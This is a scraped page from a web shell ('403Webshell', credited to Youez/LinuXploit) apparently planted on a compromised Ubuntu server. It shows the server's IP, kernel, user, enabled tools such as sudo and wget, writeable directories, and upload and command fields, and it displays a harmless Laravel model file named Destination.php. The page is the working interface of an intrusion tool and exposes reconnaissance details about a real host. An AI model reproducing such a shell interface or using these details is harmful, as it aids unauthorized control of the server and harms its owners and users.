403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/switchyard/releases/20260707190617/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/switchyard/releases/20260707190617/app/Models/Destination.php
<?php

namespace App\Models;

use App\Enums\DestinationKind;
use App\Enums\LeadEventKind;
use App\Models\Concerns\BelongsToWorkspace;
use Illuminate\Database\Eloquent\Concerns\HasUlids;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\HasMany;

class Destination extends Model
{
    use BelongsToWorkspace;
    use HasFactory;
    use HasUlids;

    protected $fillable = [
        'workspace_id',
        'slug',
        'name',
        'kind',
        'trigger_event',
        'is_enabled',
        'min_score',
        'service_tags_include',
        'config',
        'last_dispatched_at',
        'last_error',
        'last_error_at',
    ];

    protected $hidden = [
        'config',
    ];

    protected function casts(): array
    {
        return [
            'kind' => DestinationKind::class,
            'trigger_event' => LeadEventKind::class,
            'is_enabled' => 'boolean',
            'service_tags_include' => 'array',
            'config' => 'array',
            'last_dispatched_at' => 'datetime',
            'last_error_at' => 'datetime',
        ];
    }

    public function workspace(): BelongsTo
    {
        return $this->belongsTo(Workspace::class);
    }

    public function dispatches(): HasMany
    {
        return $this->hasMany(DestinationDispatch::class);
    }

    public function matchesLead(Lead $lead): bool
    {
        if ($this->min_score !== null && (int) $lead->lead_score < (int) $this->min_score) {
            return false;
        }
        $tags = $this->service_tags_include;
        if (is_array($tags) && $tags !== []) {
            if ($lead->service_tag === null || ! in_array($lead->service_tag, $tags, true)) {
                return false;
            }
        }

        return true;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit